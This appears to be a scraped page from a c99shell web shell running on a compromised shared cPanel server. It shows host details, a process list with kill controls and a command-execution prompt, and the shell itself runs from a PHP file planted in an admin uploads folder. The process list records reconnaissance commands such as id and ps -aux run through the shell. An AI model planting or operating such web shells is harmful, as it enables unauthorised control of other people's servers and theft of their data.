Software: Apache. PHP/5.6.40 uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24 uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) Safe-mode: OFF (not secure) /opt/alt/python37/lib/python3.7/site-packages/raven/utils/serializer/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
cp949260 | 779111 | 0.0 | 0.0 | 13084 | 1024 ? R 18:43 0:00 ps -aux | KILL | ||||||||||||||||||||||||
cp949260 | 779108 | 0.0 | 0.0 | 6104 | 628 ? R 18:43 0:00 whereis apache | KILL | ||||||||||||||||||||||||
cp949260 | 779112 | 0.0 | 0.0 | 10360 | 704 ? R 18:43 0:00 id | KILL | ||||||||||||||||||||||||
cp949260 | 779114 | 0.0 | 0.0 | 312076 | 7936 | ? Rs 18:43 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 779116 | 0.0 | 0.0 | 11248 | 1040 ? R 18:43 0:00 sh -c id | KILL | ||||||||||||||||||||||||
cp949260 | 779104 | 0.0 | 0.0 | 311924 | 7928 | ? Rs 18:43 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 779088 | 0.0 | 0.0 | 313480 | 9796 | ? Ss 18:43 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 773106 | 0.5 | 0.0 | 311044 | 19000 | ? | Ss 18:42 0:00 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 778851 | 3.0 | 0.0 | 313480 | 10032 | ? | Ss 18:43 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 779053 | 0.0 | 0.0 | 313480 | 9908 | ? Ss 18:43 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 779077 | 0.0 | 0.0 | 313480 | 9800 | ? Ss 18:43 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 437814 | 0.2 | 0.0 | 311044 | 18984 | ? | Ss 18:02 0:06 lsphp | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1602 ]-- |